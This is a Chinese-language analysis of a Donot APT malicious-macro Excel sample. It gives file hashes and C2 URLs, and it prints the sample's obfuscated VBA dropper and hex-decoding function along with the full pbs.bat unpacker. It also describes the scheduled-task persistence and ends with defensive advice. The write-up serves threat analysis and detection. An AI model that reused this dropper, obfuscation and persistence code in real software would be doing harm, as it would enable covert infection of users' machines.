记一次 Donot 样本分析
字数 1904 2025-08-06 18:07:56
Donot APT组织样本分析教学文档
一、样本概述
这是一个带有恶意宏的Excel文档(.xls),属于Donot APT组织的攻击样本。主要行为是通过恶意宏代码释放并执行后续恶意组件,最终建立持久化机制并连接C2服务器。
二、样本IOC
| 文件名 | MD5哈希值 |
|---|---|
| xls | 93befa3da4e0d10ee61f0b78c18d4cd |
| Comd.zip | bc70155ae15384745ed54c75e64a742c |
| pbs.txt/pbs.bat | 09c4c9515e23983c547900f8485b42aa |
| _.vbs | 60b24b37aa7903b56417dd58bbebe79d |
| comd.pdf/comd.exe | 06e0d216969caa0dfd98269a860b153b |
三、恶意宏分析
1. Workbook_Open函数
Sub Workbook_Open()
Dim bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC As String
Dim KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv As String
bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC = "C:\Users\" + "Publi" + "c\Musi" + "c\co" + "md.zip"
KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = Dir(bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC, vbDirectory)
If KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = "" Then
Call gkhaL6Ujf7T8TwThtCGkfindUi
Else
MsgBox "Excel cannot complete this task with availiable resources.Choose less data or close other applications."
End If
End Sub
功能:
- 检查
C:\Users\Public\Music\comd.zip是否存在 - 如果不存在则调用
gkhaL6Ujf7T8TwThtCGkfindUi函数 - 存在则显示迷惑性错误信息
2. gkhaL6Ujf7T8TwThtCGkfindUi函数
功能:
- 将zip文件的字节码以十进制形式拆分存储在多个变量中
- 使用
**作为分隔符连接所有字节码 - 将字节码写入
C:\Users\Public\Music\comd.zip文件
技术特点:
- 使用字符串拼接技术规避静态检测
- 采用分块存储恶意代码的方式
3. file函数
Sub file()
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(TringTring("433a5c55736572735c5075626c69635c4d757369635c")) Then
fso.CreateFolder(TringTring("433a5c55736572735c5075626c69635c4d757369635c"))
End If
Set request = fso.CreateTextFile(TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874"))
request.WriteLine(TringTring("404543484f206f6666"))
'...写入多行内容...
request.Close
Set fso = Nothing
Set request = Nothing
Name (TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874")) As _
(TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e626174"))
Call GHJFGHJGakh
End Sub
功能:
- 创建
C:\Users\Public\Music\目录 - 创建
pbs.txt并写入内容 - 重命名为
pbs.bat - 调用
GHJFGHJGakh函数
4. TringTring函数
Public Function TringTring(ByVal HexToStr As String) As String
Dim strTemp As String
Dim strReturn As String
Dim i As Long
For i = 1 To Len(HexToStr) Step 2
strTemp = Chr$(Val("&H" & Mid$(HexToStr, i, 2)))
strReturn = strReturn & strTemp
Next i
TringTring = strReturn
End Function
功能:将16进制字符串转换为ASCII字符(每两个16进制字符转换为一个ASCII字符)
5. 持久化函数
GHJFGHJGakh函数:
- 创建计划任务"My_Drive"
- 系统启动60秒后执行
C:\Users\Public\Music\comd.exe - 无限期每隔7分钟重复执行
zxcvbnmlkjhgfdsaqweryu函数:
- 创建计划任务"Tls_SSL"
- 系统启动55秒后执行
C:\Users\Public\Music\pbs.bat - 无限期每隔4分钟重复执行
zxcvbnmgfdsaqweryu函数:
- 创建计划任务"Pls_SSL"
- 系统启动55秒后执行
C:\Users\Public\Pictures\pbs.bat - 无限期每隔10分钟重复执行
四、pbs.bat分析
@ECHO off
setlocal
CD /d %~dp0
CALL :UnZipFile "C:\Users\Public\Music" "C:\Users\Public\Music\comd.zip"
EXIT /b
:UnZipFile
SET vbs="%temp%\_.vbs"
IF EXIST %vbs% DEL /f /q %vbs%
>%vbs% ECHO Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% ECHO If NOT fso.FolderExists(%1) Then
>>%vbs% ECHO fso.CreateFolder(%1)
>>%vbs% ECHO End If
>>%vbs% ECHO set objShell = CreateObject("Shell.Application")
>>%vbs% ECHO set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% ECHO objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% ECHO Set fso = Nothing
>>%vbs% ECHO Set objShell = Nothing
cscript //nologo %vbs%
IF EXIST %vbs% DEL /f /q %vbs%
del /f C:\Users\Public\Music\comd.zip
ren C:\Users\Public\Music\comd.pdf comd.exe
schtasks /delete /tn Tls_SSL /f
exit
功能:
- 创建VBS脚本解压
comd.zip - 删除临时文件
_.vbs和comd.zip - 将
comd.pdf重命名为comd.exe - 删除计划任务"Tls_SSL"
五、comd.exe分析
主要功能
-
互斥量检查:
- 创建名为"niiopokjdfk"的事件对象
- 检查ERROR_ALREADY_EXISTS(0xB7)判断是否已有实例运行
-
文件落地:
- 选择
C:\Users\Public\Pictures\pbs或C:\Users\Public\Pictures\pbs.bat作为落地文件
- 选择
-
C2连接:
- 尝试连接以下C2地址:
https://blogs.libraryutilitis.live:443/vrhkdkjrajksrjkaskdoneS/rbjhrkjahsrjejkahttps://blogs.libraryutilitis.live/nrasjkhrsjkdrhkdfjkB/klrjajlrjklrkljaklrjklasklf
- 尝试连接以下C2地址:
-
字符串加密:
- 使用简单的ASCII码减2的加密方式
六、防御建议
-
宏安全:
- 禁用Office文档中的宏执行
- 对可疑文档启用沙箱分析
-
行为监控:
- 监控
C:\Users\Public\Music和C:\Users\Public\Pictures目录的异常文件创建 - 警惕计划任务的异常创建
- 监控
-
网络防护:
- 拦截已知Donot APT的C2域名
- 监控异常HTTPS连接
-
IOC检测:
- 使用提供的MD5哈希值进行文件检测
- 监控计划任务名"My_Drive"、"Tls_SSL"、"Pls_SSL"
-
日志分析:
- 检查Excel进程创建可疑子进程的事件
- 监控VBScript和批处理文件的异常执行